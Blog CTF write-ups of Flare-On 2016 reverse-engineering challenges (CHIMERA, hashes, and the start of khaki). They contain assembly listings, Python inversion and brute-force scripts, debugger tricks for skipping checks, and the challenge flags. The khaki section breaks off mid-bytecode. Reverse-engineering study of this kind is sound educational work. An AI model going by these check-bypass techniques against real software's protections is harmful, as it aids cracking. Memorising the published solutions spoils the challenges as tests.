<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-bBSVqLiTXlmqNKmqzQMmwXulkk2HgrP6HGkIy-dAcRnn_R0gYuXQTC8dQ6kX1SmpezS8YSWEdmIhsZ9v3OWqrOb92DBuPIr84EDEsbh2_NFnX7pgsf8FobDbXRyhTe_Z2jUzMk8wEf19/s1600/chimera_32.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-bBSVqLiTXlmqNKmqzQMmwXulkk2HgrP6HGkIy-dAcRnn_R0gYuXQTC8dQ6kX1SmpezS8YSWEdmIhsZ9v3OWqrOb92DBuPIr84EDEsbh2_NFnX7pgsf8FobDbXRyhTe_Z2jUzMk8wEf19/s700/chimera_32.bmp"/></a></div>
</br>
From the image above we can immediately deduce that our input has to be of length 0x1A; anything beyond that will not be considered. The function operates on each byte of our input individually, adding the value of the counter to it, XOR'ing it with 0x7A and compares it with a buffer. Let's implement the inverse of this function to get the expected input.
</br></br>
<pre class="brush:python;">
import sys
byte_4021D2 = ["0E","13","11","0C","5E","14","03","5D","06","0B",
"15","51","F9","05","07","07","0D","4B","F8","0E",
"FD","F2","F7","FC","F0","07"]
for x in range(len(byte_4021D2)):
operation_1 = int(byte_4021D2[x],16) ^ 0x7A
operation_2 = operation_1 - x
sys.stdout.write(chr(operation_2))
</pre>
</br>
Inputting the output result,"this is the wrong password", we get:
</br></br></br>
<div class="console-top">
Command Prompt</div>
<div class="console" style="background: #000;">
C:\>CHIMERA.EXE
This one's for the geezers.
Enter the password> this is the wrong password
You have fail. Please try harder.
C:\>
</div>
</br></br>
But why !!?? If we take a look at the image above again, there's a 2-line basic block with a compare: <b>CMP [ebp+var_10], 0x9F5</b>, which succeeds if we give it "this is the wrong password" and hence outputs the failure message. Can we get the binary to succeed on both computations, the byte-by-byte comparison and the final comparison? The answer is NO.
</br></br>
The twist is ........ there's another way of running the binary! The following are a few hints that indicate this:
<ul>
<li style="color: #999999;">The string "This program cannot not be run in DOS mode." (Notice the double negation)</li>
<li style="color: #999999;">The name of the binary, CHIMERA.EXE, is an 8.3 filename</li>
<li style="color: #999999;">IDA complains that the import segment is broken</li>
<li style="color: #999999;">The .text section is RWX</li>
</ul>
</br>
The binary is in fact a 16-bit packed executable. The only way I found to execute and debug this binary is to use the debug version of DOSBox. This can be downloaded from <a href="https://github.com/GradiusX/vulnerable.space/raw/master/Flare-On2016/dosbox-v0.74-debug.zip"><span style="color: #cccccc;">here</span></a>. Run the installer to get the standard version of DOSBox and then place <b>dosbox-74-debug.exe</b> in the installation folder and run it. This should open 2 windows, the standard console and the debug window:
</br></br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIcCUgqMWm2igwLtNgzRUEtLshn_cJ12LL1jD6fZdmt3I8J6mTM1WLmGA7F8gBmqY4VAVHmDEHjuVSVbK-K2jvoRCz95oWK5yTX9fdC3lyKN048TN5dSotySJX5PV1tfY-iUUT1gQfP6Bj/s1600/dosbox_debugger.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIcCUgqMWm2igwLtNgzRUEtLshn_cJ12LL1jD6fZdmt3I8J6mTM1WLmGA7F8gBmqY4VAVHmDEHjuVSVbK-K2jvoRCz95oWK5yTX9fdC3lyKN048TN5dSotySJX5PV1tfY-iUUT1gQfP6Bj/s640/dosbox_debugger.bmp"/></a></div>
</br>
The following are a few DOSBox debugger shortcuts and commands that proved to be useful to navigate the cluttered interface:
</br>
<ul>
<li><b style="color:#cccccc;">F5 -</b> <span style="color: #999999;"> Run</span>
<li><b style="color:#cccccc;">F10/F11 -</b> <span style="color: #999999;"> step over / trace into</span>
<li><b style="color:#cccccc;">Up/Down -</b><span style="color: #999999;"> Move code view cursor</span>
<li><b style="color:#cccccc;">Page Up/Down -</b> <span style="color: #999999;"> Scroll data view</span>
<li><b style="color:#cccccc;">Home/End -</b><span style="color: #999999;"> Scroll log messages</span>
<li><b style="color:#cccccc;">BP [segment]:[offset] -</b><span style="color: #999999;"> Set breakpoint</span>
<li><b style="color:#cccccc;">BPDEL * -</b><span style="color: #999999;"> Delete all breakpoints</span>
<li><b style="color:#cccccc;">Home/End -</b><span style="color: #999999;"> Scroll log messages</span>
<li><b style="color:#cccccc;">SR [reg] [value] -</b><span style="color: #999999;"> Set register value</span>
<li><b style="color:#cccccc;">C / D [segment]:[offset] -</b><span style="color: #999999;"> Set code / data view address</span>
</ul>
</br>
To start debugging CHIMERA.EXE mount the C drive with <b>'mount C C:\'</b>, navigate to the folder and run <b>'debug CHIMERA.EXE'</b>. The execution now shifts to the debugger and we can start stepping into the binary. The first hurdle we get is the following:
</br></br>
<pre class="brush:asm;">
020E:07D7 mov ax,2A00
020E:07DA int 21
020E:07DC sub cx,07C6
020E:07E0 jg 000008B0 ($+cc) (down)
</pre>
</br>
The instruction <b>int 21</b> is an interrupt which performs actions depending on the contents of AH. A list of these can found <a href="http://spike.scu.edu.au/~barry/interrupts.html">here</a>. The ASM above grabs the system date, puts the year in CX, subtracts 0x7C6 (1990) from it, and jumps if it's greater. As we don't want it to jump we can issue <b>'sr sf 1'</b> to change the sign flag and not take the jump.
</br></br>
After the simple check, we get the following algorithm which operates on the input string in reverse order:
</br></br>
<pre class="brush:asm;">
020E:0802 mov dl,97 ; Loads 0x97, this is the first input
020E:0804 mov ah,[075F] ; AH = length of input string
020E:0808 cmp cl,ah ; CL = Counter
020E:080A je 0000084E ($+42) ; jmp if all bytes are processed
020E:080C jne 0000080F ($+1) ; jmp if NOT all bytes are processed
020E:080F mov al,ah
020E:0811 dec al
020E:0813 sub al,cl
020E:0815 test cl,cl
020E:0817 je 0000082D ($+14) ; jmp if 1st iteration of loop
020E:0819 je 0000081E ($+3) ;
020E:081B jne 0000081E ($+1) ; jmp if NOT 1st iteration of loop
020E:081E mov bx,0760
020E:0821 movzx dx,sp
020E:0824 add bx,dx
020E:0826 jne 00000829 ($+1)
020E:0829 sub bx,cx
020E:082B mov dl,[bx] ; loads char from input
020E:082D rol dl,03 ; rol3 on char
020E:0830 movzx bx,dx
020E:0833 je 00000838 ($+3)
020E:0835 jne 00000838 ($+1)
020E:0838 movzx bx,[bx+0461] ; performs mapping from constant byte array
020E:083D mov dl,[bx+0461] ; performs another mapping from constant byte array
020E:0841 movzx bx,ax
020E:0844 xor [bx+0760],dl ; XOR result with next input char
020E:0848 inc cx
020E:0849 jne 0000084C ($+1)
020E:084C jmp short 00000808 ($-46) ; jumps to 020E:0808
</pre>
</br></br>
The algorithm is pretty straight forward: loads 0x97, rotates it, translates it twice from a fixed buffer and 1) XOR's it with the next char; 2) stores it as input for the next rotation. In code this looks like this:
</br></br>
<pre class="brush:python;">
translate_map = ["FF","15","74","20","40","00","89","EC","5D","C3","42","46",
"C0","63","86","2A","AB","08","BF","8C","4C","25","19","31",
[ .. snip .. ]
"AE","CA","C4","77","0C","4E","D4","D0","C8","E1","B8","F9",
"26","90","81","34"]
rol = lambda val, r_bits, max_bits: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
def rol_hex(hex_string):
return rol(int(hex_string,16),3, 8)
def double_translate(x):
return translate_map[int(translate_map[x],16)]
input = "01234567890123456789012345"
input_list = [ord(x) for x in input]
input_list.append(0x97)
input_list.reverse()
for x in range(1, len(input_list)):
x_rol3 = rol(input_list[x-1], 3, 8)
input_list[x] = int(double_translate(x_rol3),16) ^ input_list[x]
input_list.reverse()
print [hex(x) for x in input_list]
</pre>
</br>
The resultant byte array is then fed into a second, much simpler algorithm:
</br></br>
<pre class="brush:asm;">
020E:0854 mov dl,C5 ; Loads 0xC6, this is the first input
020E:0856 cmp cl,ah ; AH = length of previous buffer
020E:0858 je 00000875 ($+1b) ; never taken
020E:085A test cl,cl
020E:085C je 00000869 ($+b) ; jmp if 1st iteration of loop
020E:085E jne 00000862 ($+2) ; jmp if NOT 1st iteration of loop
020E:0862 mov bx,cx
020E:0864 dec bx
020E:0865 mov dl,[bx+0760] ; loads char from input
020E:0869 mov bx,cx
020E:086B xor [bx+0760],dl ; XOR's it with next char from input
020E:086F inc cx
020E:0870 jne 00000873 ($+1) ; always taken
020E:0872 jmp short 0000085F ($-15)
020E:0873 jmp short 00000856 ($-1f) ; jmp back to 020E:0856
</pre>
</br>
This can be easily translated into the following code, which takes the result from the previous algorithm:
</br></br>
<pre class="brush:python;">
input_list.insert(0, 0xC5)
for x in range(1, len(input_list)):
input_list[x] = input_list[x] ^ input_list[x-1]
print [hex(x) for x in input_list[1:-1]]
</pre>
</br>
The output then goes into a loop, consisting of 0x1A rounds, which compares each byte to a fixed buffer. At this point we have the inner workings of both algorithms performed on the input and the expected final buffer. We can therefore invert the process to get the correct input:
</br></br>
<pre class="brush:python;">
end_buffer = ["38","E1","4A","1B","0C","1A","46","46","0A","96","29","73","73",
"A4","69","03","00","1B","A8","F8","B8","24","16","D6","09","CB",
"B9","70","00","89","CB","4B"]
translate_map = ["FF","15","74","20","40","00","89","EC","5D","C3","42","46",
"C0","63","86","2A","AB","08","BF","8C","4C","25","19","31",
[ .. snip .. ]
"AE","CA","C4","77","0C","4E","D4","D0","C8","E1","B8","F9",
"26","90","81","34"]
rol = lambda val, r_bits, max_bits: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
def rol_hex(hex_string):
return rol(int(hex_string,16),3, 8)
def double_translate(x):
return translate_map[int(translate_map[x],16)]
end_buffer_int = [int(x,16) for x in end_buffer]
end_buffer_int.insert(0, 0xC5)
end_buffer_int.reverse()
for x in range(len(end_buffer_int) - 1 ):
end_buffer_int[x] = end_buffer_int[x] ^ end_buffer_int[x+1]
end_buffer_int.reverse()
#remove 0xC5
end_buffer_int = end_buffer_int[1:]
end_buffer_int.append(0x97)
for x in range(0, len(end_buffer_int)-1):
x_rol3 = rol(end_buffer_int[x+1], 3, 8)
end_buffer_int[x] = int(double_translate(x_rol3),16) ^ end_buffer_int[x]
print ''.join([chr(x) for x in end_buffer_int])
</pre>
</br>
Testing the result:
</br></br></br>
<div class="console-top" style="text-align:left; font-family:Courier; white-space:pre"> <b>DOSBox 0.74, Cpu speed: 3000 cylces, Frameskip 0, Program: DOSBOX</b></div>
<div class="console" style="background: #000; font-family:Courier">
C:\>debug CHIMERA.EXE
This program cannot not be run in DOS mode.
This one's for the geezers.
Enter the password> retr0_hack1ng@flare-on.com
You have succeed.
C:\>
</div>
</br>
</span>
</div>
GradiusXhttp://www.blogger.com/profile/15877381593569432773noreply@blogger.com0tag:blogger.com,1999:blog-892957492981532265.post-38699537918515178892016-11-04T19:46:00.000-07:002016-11-04T19:46:00.883-07:00CTF Writeup - Flare-On 2016 - 07: hashes<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="color: #999999;">
</br>
<ul>
<li><b style="color:#cccccc;">Name -</b> <span style="color: #999999;"> hashes</span>
<li><b style="color:#cccccc;">Category -</b> <span style="color: #999999;">Reverse Engineering</span>
<li><b style="color:#cccccc;">Points -</b><span style="color: #999999;"> 7</span>
<li><b style="color:#cccccc;">Description -</b> <span style="color: #999999;"> n/a</span>
<li><b style="color:#cccccc;">Binary -</b><span style="color: #999999;"> Download <a href="https://github.com/GradiusX/vulnerable.space/raw/master/Flare-On2016/hashes"><span style="color: #cccccc;">here</span></a></span>
</ul>
</br></br>
Running the linux binary with a random parameter and without any parameter we get:
</br></br>
<div class="console-top">root@kali: ~/Desktop</div>
<div class="console" style="background: #000;">
<b style="color:#ef2929;">root@kali</b>:<b style="color:#729fcf;">~/Desktop</b># ./hashes
panic: runtime error: index out of range
goroutine 16 [running]:
goroutine 18 [finalizer wait]:
created by runtime_createfing
../../../src/libgo/runtime/mgc0.c:2572
<b style="color:#ef2929;">root@kali</b>:<b style="color:#729fcf;">~/Desktop</b># ./hashes 123
Work on your Hash F00!
<b style="color:#ef2929;">root@kali</b>:<b style="color:#729fcf;">~/Desktop</b>#
</div>
</br></br>
From this we can straight away tell that the binary has been written using the Go programming language. Running <b>strings</b> also reveals various Go-related functions. The version required for this challenge can be installed by running <b>apt-get install libgo7</b>.
</br></br>
With everything set up, let's start debugging it with IDA. I found it a bit challenging to follow the control flow of the Go binary; sometimes it seems to jump randomly from one place and ends up in a completely different place. Not sure if I should blame my lack of knowledge regarding the Go language, IDA for not handling the binary well or the use of channels, whatever they are, in the Go programming language. If anyone has the answer to why this happens please give me a shout.
</br></br>
Anyways, the main function is called <b>main_main</b>. The first checks on our input string we encounter are in the following location:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQrgvJLJQ1ofsLDlaH5n2C6F87ffiGtNthA1ZqHDNirlunMmNPybihO7IKBuA5XP5Vk8RU-Juf7jjMMNOlZwsHIvjcPbBGGRrERFlFNDsFLmFyLx5Nesc3ZJvHxNk_7VGymLg1y3VMgH0d/s1600/length.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQrgvJLJQ1ofsLDlaH5n2C6F87ffiGtNthA1ZqHDNirlunMmNPybihO7IKBuA5XP5Vk8RU-Juf7jjMMNOlZwsHIvjcPbBGGRrERFlFNDsFLmFyLx5Nesc3ZJvHxNk_7VGymLg1y3VMgH0d/s550/length.bmp" /></a></div>
</br>
The green arrow coming out of the bottom of the image goes to the basic block containing 'Work on your Hash F00!', so we need to avoid it. The compare statement at the top is done against the length of our input and 0x1E; so now we have the correct length of the input. The function <b>sub_8049F6D</b> is then called with parameters: length of input string and the input string itself. Let's look closer at what this does:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFKk6Pk2SwMZU8JoxMRFcczaKn4xAwZw7kmlWncgVmSzzLgOX8FrlnpEkZZKGMTtMmb1tqsEX4t72YQtc4a-lX8GISDuPHHZSGJsHwazIHyHNF4VoLnUPSYsDvr-61uElaEld08Nn8yNG9/s1600/char_contains.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFKk6Pk2SwMZU8JoxMRFcczaKn4xAwZw7kmlWncgVmSzzLgOX8FrlnpEkZZKGMTtMmb1tqsEX4t72YQtc4a-lX8GISDuPHHZSGJsHwazIHyHNF4VoLnUPSYsDvr-61uElaEld08Nn8yNG9/s750/char_contains.bmp"/></a></div>
</br>
The green box at the bottom sets EAX to 1 before the program exists, whilst the red box sets EAX to 0. From the previous image we know that we need EAX to be 1 and hence we have to make sure execution passes via the green box. The function iterates over each character of our input and checks if it is contained (_strings_ContainsAny) in <b>abcdefghijklmnopqrstuvwxyz@-._1234</b>. If not we end up in the red box.
</br></br>
So up to now we know that the string has to be 30 characters in length and has to be made up of only the following characters: <b>abcdefghijklmnopqrstuvwxyz@-._1234</b>.
</br></br>
The program then does the following:
<ol>
<li>Divides the length of the input string (i.e. 30) by 6, which gives us 5</li>
<li>Slices the input string in 5 equal substrings</li>
<li>Performs SHA1 trice on each of the substrings</li>
<li>Appends the results</li>
</ol>
</br>
The last 3 operations, which are looped over 5 times, can be seen here:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjI_aDVwp92H1WUhhFkGhIwg8UytCTM7SNO3vhhzgXP1RiOsPkXpP11IaI9O2SoDxfENUSrl0zJw0gjz_iHVYbBUy00cBqC99RkyLf9AnCSiVxtExVSplvJzsNi31dQb7l9OCEEgetVQvnl/s1600/SHA1_oeprations.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjI_aDVwp92H1WUhhFkGhIwg8UytCTM7SNO3vhhzgXP1RiOsPkXpP11IaI9O2SoDxfENUSrl0zJw0gjz_iHVYbBUy00cBqC99RkyLf9AnCSiVxtExVSplvJzsNi31dQb7l9OCEEgetVQvnl/s650/SHA1_oeprations.bmp"/></a></div>
</br>
The next part of the binary does the validation checking on the result. The routine is simple but debugging it was a nightmare as IDA kept jumping from one function to another. The algorithm does the following steps:
<ol>
<li>Takes the first char of the concatenated, SHA1 string computed above; let's call this Z</li>
<li>Adds 0x1CD to it; X = Z + 0x1CD; GOTO 4</li>
<li>Adds 0x1CD to itself; X += 0x1CD;</li>
<li>Obtains a byte from a fixed array: Y = unk_804BB80[ X % 4096 ] </li>
<li>Compares Y with Z</li>
<li>Now Z takes the value of the next char of the SHA1 string; GOTO 3</li>
</ol>
</br>
Note that only the first character of the resultant SHA1 string is used as a seed. As the resultant SHA1 string depends on out input, and the comparison string derived from the fixed array depends on the first character of the SHA1 string, and hence our input too, we can't simply first compute the latter and then bruteforce to obtain the former.
</br></br>
Combining all the information we have we can whip up a small program that gives us the first 6 characters of the input string. The decision to do this for only the first 6 chars will become apparent later. So let's start:
</br></br>
<pre class="brush:python;">
import hashlib
import itertools
unk_804BB80 = ['03','72','D7','E5','03','AB','E0','D4','9F',
[ .. snip .. ]
'EE','46','2B','EE','2C','15','21','42','52',
'51','6B','7E','69','4D','28','DC','6C','8B']
def sha1(input):
m = hashlib.sha1()
m.update(input)
return m.digest()
def triplesha1(input):
for x in range(3):
input = sha1(input)
return input
allowed_chars = "abcdefghijklmnopqrstuvwxyz@-._1234"
add_const = "0x1CD"
for string in itertools.imap(''.join, itertools.product(allowed_chars, repeat=6)):
found = 0
temp_triple_sha = triplesha1(string).encode("hex").upper()
a = int(temp_triple_sha[0:2],16)
for x in range(20):
a = a + int(add_const,16)
translation = unk_804BB80[a % 4096]
if translation != temp_triple_sha[x*2:x*2+2]:
break
found = found + 1
if found == 20:
print string
break
</pre>
</br>
After a while we get back <b>h4sh3d</b>. Perfect, we've got the first 6 characters out of 30. Now we could either continue this way and solve the others sequentially (this is because computations depend on the previous result, because of the seed) using the same program or, since we now know what the seed is, which is the first char of sha1(sha1(sha1('h4sh3d'))), we can obtain all 5 hashes directly from the fixed array. Let's go with the latter:
</br></br>
<pre class="brush:python;">
import hashlib
import itertools
unk_804BB80 = ['03','72','D7','E5','03','AB','E0','D4','9F',
[ .. snip .. ]
'EE','46','2B','EE','2C','15','21','42','52',
'51','6B','7E','69','4D','28','DC','6C','8B']
add_const = "0x1CD"
a = 60 #first byte of SHA1(SHA1(SHA1('h4sh3d')))
for x in range(100):
a = a + int(add_const,16)
print unk_804BB80[a % 4096],
if (x+1) % 20 == 0:
print '\r\n'
</pre>
</br>
Running the program we get all 5 hashes:
</br></br>
<div class="console-top">root@kali: ~/Desktop</div>
<div class="console" style="background: #000;">
<b style="color:#ef2929;">root@kali</b>:<b style="color:#729fcf;">~/Desktop</b># python hash_finder.py
3C AB 24 65 E9 55 B7 8E 1D C8 4A B2 AA D1 77 36 41 EF 6C 29
4A 1B F8 BD 1E 91 F3 59 3A 6C CC 9C C9 B2 D5 68 2E 62 24 4F
9E 60 61 A3 62 50 E1 C4 7E 69 F0 31 2D B4 E5 61 52 8A 1F B5
06 04 6B 72 1E 18 E2 0B 84 1F 49 7E 25 77 53 B2 31 4B 86 6C
CC 72 08 42 D0 88 4D A0 8E 26 D9 FC CB 24 BC 9C 27 BD 25 4E
<b style="color:#ef2929;">root@kali</b>:<b style="color:#729fcf;">~/Desktop</b>#
</div>
</br></br>
Double check that the first one is indeed the triple SHA1 of <b>h4sh3d</b>. So now we can bruteforce them at the same time. As we know that the flag ends with <b>@flare-on.com</b> we can also omit the last 2 hashes. The following program bruteforces the 2nd hash in the list:
</br></br>
<pre class="brush:python;">
import hashlib
import itertools
def sha1(input):
m = hashlib.sha1()
m.update(input)
return m.digest()
def triplesha1(input):
for x in range(3):
input = sha1(input)
return input
allowed_chars = "abcdefghijklmnopqrstuvwxyz@-._1234"
answer = "4A1BF8BD1E91F3593A6CCC9CC9B2D5682E62244F"
for string in itertools.imap(''.join, itertools.product(allowed_chars, repeat=6)):
temp_triple_sha = triplesha1(string).encode("hex").upper()
if temp_triple_sha == answer:
print string
break
</pre>
</br>
After running the program for the third hash we get the key: <b>h4sh3d_th3_h4sh3s@flare-on.com</b>
</br></br></br>
Edit 1: As pointed to me by <a href="https://twitter.com/winnythomas"><span style="color: #cccccc;">@winnythomas</span></a>, there's a shortcut way of cracking this. As we know that the key ends with <b>@flare-on.com</b> we effectively know what the last hash is and hence we can work our way backwards to deduce all the other hashes. This allows us to jump straight to the 3rd script presented above, skipping the first two.
</br>
</span>
</div>GradiusXhttp://www.blogger.com/profile/15877381593569432773noreply@blogger.com0tag:blogger.com,1999:blog-892957492981532265.post-92060389565046946092016-11-04T19:42:00.001-07:002016-11-04T19:42:59.771-07:00CTF Writeup - Flare-On 2016 - 06: khaki<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="color: #999999;">
</br>
<ul>
<li><b style="color:#cccccc;">Name -</b> <span style="color: #999999;"> khaki</span>
<li><b style="color:#cccccc;">Category -</b> <span style="color: #999999;">Reverse Engineering</span>
<li><b style="color:#cccccc;">Points -</b><span style="color: #999999;"> 6</span>
<li><b style="color:#cccccc;">Description -</b> <span style="color: #999999;"> n/a</span>
<li><b style="color:#cccccc;">Binary -</b><span style="color: #999999;"> Download <a href="https://github.com/GradiusX/vulnerable.space/raw/master/Flare-On2016/khaki.exe"><span style="color: #cccccc;">here</span></a></span>
</ul>
</br>
The binary is a simple game which requires you to guess the randomly-generated number:
</br></br>
<div class="console-top">
Command Prompt</div>
<div class="console" style="background: #000;">
C:\>khaki.exe
(Guesses: 1) Pick a number between 1 and 100:50
Too high, try again
(Guesses: 2) Pick a number between 1 and 100:25
Too low, try again
(Guesses: 3) Pick a number between 1 and 100:37
Too high, try again
(Guesses: 4) Pick a number between 1 and 100:30
Wahoo, you guessed it with 4 guesses
Status: 4 guesses
C:\>
</div>
</br>
</br>
Running <b>strings</b> on the binary reveals a lot of python functions and files. More specifically, the program has been compiled using py2exe:
</br></br>
<div class="console-top">root@kali: ~/Desktop</div>
<div class="console" style="background: #000;">
<b style="color:#ef2929;">root@kali</b>:<b style="color:#729fcf;">~/Desktop</b># strings khaki.exe | grep -i py2exe
PY2EXE_VERBOSE
PY2EXE_VERBOSE
C:\Python27\lib\site-packages\py2exe\boot_common.pyR
C:\Python27\lib\site-packages\py2exe\boot_common.pyR
C:\Python27\lib\site-packages\py2exe\boot_common.pyR
C:\Python27\lib\site-packages\py2exe\boot_common.pyR
C:\Python27\lib\site-packages\py2exe\boot_common.pyR
C:\Python27\lib\site-packages\py2exe\boot_common.pyR
C:\Python27\lib\site-packages\py2exe\boot_common.pyt
C:\Python27\lib\site-packages\py2exe\boot_common.pyt
<b style="color:#ef2929;">root@kali</b>:<b style="color:#729fcf;">~/Desktop</b>#
</div>
</br></br>
The next step is to decompile the program and hopefully get the original python file back. We first use unpy2exe to get back the compiled python files (.pyc):
</br></br>
<div class="console-top">root@kali: ~/Desktop</div>
<div class="console" style="background: #000;">
<b style="color:#ef2929;">root@kali</b>:<b style="color:#729fcf;">~/Desktop</b># python unpy2exe.py -o OUTPUT khaki.exe
Magic value: 78563412
Code bytes length: 4386
Archive name: -
Extracting C:\Python27\lib\site-packages\py2exe\boot_common.py.pyc
Extracting poc.py.pyc
<b style="color:#ef2929;">root@kali</b>:<b style="color:#729fcf;">~/Desktop</b>#
</div>
</br></br>
Then we try and decompile the pyc file back to it's original python code:
</br></br>
<div class="console-top">root@kali: ~/Desktop</div>
<div class="console" style="background: #000;">
<b style="color:#ef2929;">root@kali</b>:<b style="color:#729fcf;">~/Desktop</b># python uncompyler.py OUTPUT\poc.py.pyc
# 2016.09.30 23:29:57 GMT Daylight Time
--- This code section failed: ---
0 LOAD_CONST -1
3 LOAD_CONST ''
[ ... snip ... ]
900 ROT_THREE ''
901 ROT_THREE ''
902 ROT_THREE ''
Syntax error at or near `POP_TOP' token at offset 18
# decompiled 0 files: 0 okay, 1 failed, 0 verify failed
# 2016.09.30 23:29:57 GMT Daylight Time
<b style="color:#ef2929;">root@kali</b>:<b style="color:#729fcf;">~/Desktop</b>#
</div>
</br></br>
The decompilation fails but we still get back some of the successfully-decompiled bytecode which is enough to complete the challenge. The bytecode contains a lot of NOPs which makes it difficult to read such as <b>NOP</b>, double <b>ROT_TWO</b>, triple <b>ROT_THREE</b> and <b>LOAD_CONST -1; POP_TOP</b>.
</br></br>
The following is the entire NOP-free python bytecode:
</br></br>
<pre class="brush:python;gutter:false" style="height: 30pc; overflow-y: scroll !important;">
0 LOAD_CONST -1
3 LOAD_CONST ''
6 IMPORT_NAME 'sys'
9 STORE_NAME 'sys'
12 LOAD_CONST -1
19 LOAD_CONST ''
24 IMPORT_NAME 'random'
28 STORE_NAME 'random'
31 LOAD_CONST 'Flare-On ultra python obfuscater 2000'
34 STORE_NAME '__version__'
39 LOAD_NAME 'random'
46 LOAD_ATTR 'randint'
49 LOAD_CONST 1
52 LOAD_CONST 101
55 CALL_FUNCTION_2 ''
58 STORE_NAME 'target'
61 LOAD_CONST 1
64 STORE_NAME 'count'
70 LOAD_CONST ''
79 STORE_NAME 'error_input'
82 SETUP_LOOP '288'
88 LOAD_NAME 'True'
97 POP_JUMP_IF_FALSE '287'
100 LOAD_CONST '(Guesses: %d) Pick a number between 1 and 100:'
108 LOAD_NAME 'count'
111 BINARY_MODULO ''
112 PRINT_ITEM ''
113 LOAD_NAME 'sys'
116 LOAD_ATTR 'stdin'
119 LOAD_ATTR 'readline'
122 CALL_FUNCTION_0 ''
125 STORE_NAME 'input'
128 SETUP_EXCEPT '154'
131 LOAD_NAME 'int'
134 LOAD_NAME 'input'
140 LOAD_CONST ''
143 CALL_FUNCTION_2 ''
146 STORE_NAME 'input'
150 POP_BLOCK ''
151 JUMP_FORWARD '197'
154_0 COME_FROM '128'
154 POP_TOP ''
159 POP_TOP ''
160 POP_TOP ''
161 LOAD_NAME 'input'
167 STORE_NAME 'error_input'
174 LOAD_CONST 'Invalid input: %s'
178 LOAD_NAME 'error_input'
181 BINARY_MODULO ''
182 PRINT_ITEM ''
183 PRINT_NEWLINE ''
184 JUMP_BACK '88'
189 JUMP_FORWARD '197'
194 END_FINALLY ''
197_0 COME_FROM '151'
197_1 COME_FROM '189'
197 LOAD_NAME 'target'
200 LOAD_NAME 'input'
207 COMPARE_OP '=='
211 POP_JUMP_IF_FALSE '221'
214 BREAK_LOOP ''
218 JUMP_FORWARD '221'
221_0 COME_FROM '218'
221 LOAD_NAME 'input'
224 LOAD_NAME 'target'
227 COMPARE_OP '<'
234 POP_JUMP_IF_FALSE '253'
241 LOAD_CONST 'Too low, try again'
244 PRINT_ITEM ''
245 PRINT_NEWLINE ''
246 JUMP_FORWARD '262'
253 LOAD_CONST 'Too high, try again'
256 PRINT_ITEM ''
257 PRINT_NEWLINE ''
262_0 COME_FROM '246'
262 LOAD_NAME 'count'
265 LOAD_CONST 1
271 INPLACE_ADD ''
279 STORE_NAME 'count'
284 JUMP_BACK '88'
287 POP_BLOCK ''
288_0 COME_FROM '82'
288 LOAD_NAME 'target'
291 LOAD_NAME 'input'
294 COMPARE_OP '=='
297 POP_JUMP_IF_FALSE '342'
305 LOAD_CONST 'Wahoo, you guessed it with %d guesses\n'
309 LOAD_NAME 'count'
312 BINARY_MODULO ''
313 STORE_NAME 'win_msg'
316 LOAD_NAME 'sys'
319 LOAD_ATTR 'stdout'
322 LOAD_ATTR 'write'
331 LOAD_NAME 'win_msg'
334 CALL_FUNCTION_1 ''
338 POP_TOP ''
339 JUMP_FORWARD '342'
342_0 COME_FROM '339'
342 LOAD_NAME 'count'
347 LOAD_CONST 1
352 COMPARE_OP '=='
355 POP_JUMP_IF_FALSE '391'
358 LOAD_CONST 'Status: super guesser %d'
361 LOAD_NAME 'count'
364 BINARY_MODULO ''
366 PRINT_ITEM ''
367 PRINT_NEWLINE ''
372 LOAD_NAME 'sys'
378 LOAD_ATTR 'exit'
381 LOAD_CONST 1
384 CALL_FUNCTION_1 ''
387 POP_TOP ''
388 JUMP_FORWARD '391'
391_0 COME_FROM '388'
391 LOAD_NAME 'count'
396 LOAD_CONST 25
401 COMPARE_OP '>'
413 POP_JUMP_IF_FALSE '451'
419 LOAD_CONST 'Status: took too long %d'
425 LOAD_NAME 'count'
429 BINARY_MODULO ''
430 PRINT_ITEM ''
431 PRINT_NEWLINE ''
432 LOAD_NAME 'sys'
435 LOAD_ATTR 'exit'
438 LOAD_CONST 1
444 CALL_FUNCTION_1 ''
447 POP_TOP ''
448 JUMP_FORWARD '468'
451 LOAD_CONST 'Status: %d guesses'
455 LOAD_NAME 'count'
458 BINARY_MODULO ''
459 PRINT_ITEM ''
464 PRINT_NEWLINE ''
468_0 COME_FROM '448'
468 LOAD_NAME 'error_input'
474 LOAD_CONST ''
477 COMPARE_OP '!='
486 POP_JUMP_IF_FALSE '896'
489 LOAD_CONST ''
492 LOAD_ATTR 'join'
495 LOAD_GENEXPR '<code_object <genexpr>&lgt;'
498 MAKE_FUNCTION_0 ''
504 LOAD_NAME 'error_input'
511 GET_ITER ''
515 CALL_FUNCTION_1 ''
518 CALL_FUNCTION_1 ''
521 LOAD_ATTR 'encode'
524 LOAD_CONST 'hex'
530 CALL_FUNCTION_1 ''
536 STORE_NAME 'tmp'
544 LOAD_NAME 'tmp'
549 LOAD_CONST '312a232f272e27313162322e372548'
